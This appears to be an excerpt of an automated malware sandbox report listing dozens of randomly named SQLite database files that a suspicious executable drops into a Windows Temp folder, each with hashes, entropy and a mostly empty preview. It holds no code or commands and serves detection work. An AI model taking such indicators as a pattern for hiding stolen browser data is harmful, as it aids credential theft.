Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BduYB0WKi5

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BgTC6k3EBb

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\C9ld5y7GPP

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CeXpYCjrgi

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ChuLqFZIxZ

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CqAF65gevD

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DFvRc7AYl1

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DVQsiClNlY

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DpOswUlI9n

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\E4JGDbnr2A

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\EPdSFxzJiD

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\EZwMlbp9WC

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\EhvqHbUZx5

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FJCCgSzSyK

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FNulT1ocyk

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Fm2wO2WLXv

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\G57xE3qRME

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GA7hpSeZ28

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GLDmEVJW4I

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GVlFwOrHwm

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GgQHcjPLMh

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\H2VwEzbOro

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\HQphH1UJLV

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\HRsLbszvin

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\HUB9n3j1nm

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\HgVGrrclZ5

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
